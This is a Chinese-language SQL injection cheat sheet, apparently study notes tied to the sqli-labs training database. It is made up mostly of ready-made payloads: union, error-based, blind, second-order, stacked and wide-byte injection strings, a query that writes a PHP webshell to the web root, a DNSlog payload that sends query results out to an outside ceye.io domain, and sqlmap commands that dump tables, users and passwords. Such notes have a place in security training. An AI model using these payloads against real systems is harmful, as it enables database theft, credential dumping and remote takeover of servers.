web安全-SQL注入
注入流程
1.判断注入点(url,输入框,请求头中等与数据库交互的地方)
2.判断是字符型还是数字型(注入and 1=1 1=2 或者 3-1类似方式)
3.若是字符型,找到闭合方式,类似:
1 | or 1=1 --+ |
4.判断查询列数长短(group by 或者 order by)
注:
若有回显,查询回显位(查询-1)后可以利用union联合注入
若无回显(有报错回显),可以选择盲注(布尔盲注和时间盲注)或报错注入,若其中页面对注入的真假无反应,则无法使用布尔盲注
若无回显(无报错回显),同上但不能使用报错注入
union联合注入
1.判断回显位union select 1,2,3,...,n
2.依次在回显位查库,表,列名:
查库:
database()
查表:
select group_concat(table_name) from information_schema.tables where table_schema='security'
查列:
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'
查数据:
select email_id from emails limit 0, 1
select email_id from emails limit 1, 1
select email_id from emails limit 2, 1
…….
常用的报错注入
以下函数内的数字用来占位(无实际意义,可以输入其他字符)
extractvalue报错
查库:
and(这里也可以利用union select,以下同理) extractvalue(1, concat(0x7e(**波浪号的ASCII值**),(select database()))) --+
查表:
and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
查列:
and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails')))--+
查数据:
and extractvalue(1, concat('~',(select email_id from emails limit 0,1)))--+
updatexml报错
和上一个函数同理,如查表:and updatexml(1, concat('~',database()), 3)--+
floor报错
payload(查表):select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
查其他数据修改相应位置即可
布尔盲注
利用:length(database())
和数字比较观察页面的真假值爆库名长度
如:length(database())>=8
页面返回真,而length(database())>=9
页面返回假,则库名长度为8
再利用:ascii(substr((database()),1,1))
相应的和各个字母的ascii码值比较,重复多次,观察页面的真假值爆库名
如:ascii(substr((database()),1,1))=97
页面返回真,则库名第一个字母为ascii码值为97的字母(a)
时间盲注
利用if(condition,sleep(0),sleep(3))
,其中从condition为布尔盲注的几个步骤
函数通过判断condition部分的真假来返回sleep(0)或sleep(3),而后我们观察页面响应时间来判断语句真假爆出数据
无列名注入
若多字段:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)
若单字段:
select *,1,2,xxx from table_name
sql注入写文件
写入shell的几种方式: https://blog.csdn.net/xhy18634297976/article/details/119486812
向目标网站后台写入1.php的webshell:
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
注:
secure-file-priv无值或为可利用的目录
需知道目标目录的绝对目录地址
目标目录可写,mysql的权限足够。
DNSlog注入
同上需要读写权限,且服务器需要架设在windows系统上
payload:load_file(concat('\\',(condition),'.xxxx.ceye.io\xxxx.txt'))
,其中修改condition部分做到查库,表,列名
如:注入load_file(concat('\\',(select database()),'.xxxx.ceye.io\xxxx'))
后,到http://www.ceye.io查看域名解析结果,就能显示出库名
也可以选择用http://www.dnslog.cn获取域名作为payload最后一部分的域名内容,解析后获得结果
注: 若失败,可以尝试转义”\\“符号,写入四个反斜杠
二次注入
条件: 用户向数据库插入恶意语句(即:使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
详解: https://blog.csdn.net/hhhhhhhhh85/article/details/121328475
利用: 在有转义处写入恶意代码(如在注册处)admin’#
存入了数据库,但因转义不会形成sql注入
之后登录时若平台直接从数据库拿出此数据(不进行转义),那么就会形成sql注入
例如:拿出数据后形成这样的命令“UPDATE users SET PASSWORD=‘123456’ where username=‘admin’#’ and password=’$curr_pass’”
,那么就会以账户为admin登录成功
堆叠注入
将语句堆叠在一起进行查询的利用方式,因为mysql_multi_query()
支持多条sql语句同时执行,以;
作为分隔符
例如:select * from users;show databases;
同时执行了两条语句
宽字节注入
条件: 将用户输入转义并进行GBK编码的平台
闭合式需要注入:%df'--+
,之后查数据操作不变
原理: 后台将单引号(‘)转义成斜杠单引号(\‘),则payload变为%df\'--+
,但%df\
进行GBK编码后会变为中文字符,导致数据库无法识别,那么单引号就被保留下来成功拥有闭合作用了
SqlMap
1.判断是否存在注入
目标注入点为http://xxx.com/index.php?id=1
这种传入参数的命令为sqlmap -u http://xxx.com/index.php?id=1
便可以自动进行检测,另外如果传入的参数有大于等于两个时,需要将URL使用双引号括起来。
除了直接检测URL外,sqlmap还可以从文本中获取HTTP请求,所以我们可以用burpsuit将HTTP请求抓包,然后保存到本地为TXT文件,然后使用sqlmap来进行测试,具体命令为sqlmap -r 文件路径和文件名
,
这种一般用来检测post注入和HTTP头注入。
2.查询当前用户下的所有数据库
sqlmap -u http://xxx.com/index.php?id=1 --dbs
3.获取数据库的表名
sqlmap -u http://xxx.com/index.php?id=1 -D 数据库名 --tables
这个命令可以查询指定数据库中的所有表名。
4.获取表中的字段名
sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 --columns
5.获取字段的内容
sqlmap -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 -C 字段名 --dump
6.获取数据库的所有用户和用户的密码
sqlmap -u http://xxx.com/index.php?id=1” --users
sqlmap -u http://xxx.com/index.php?id=1” --passwords
一些bypass与绕waf
参考:https://wooyun.js.org/drops/MySQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7.html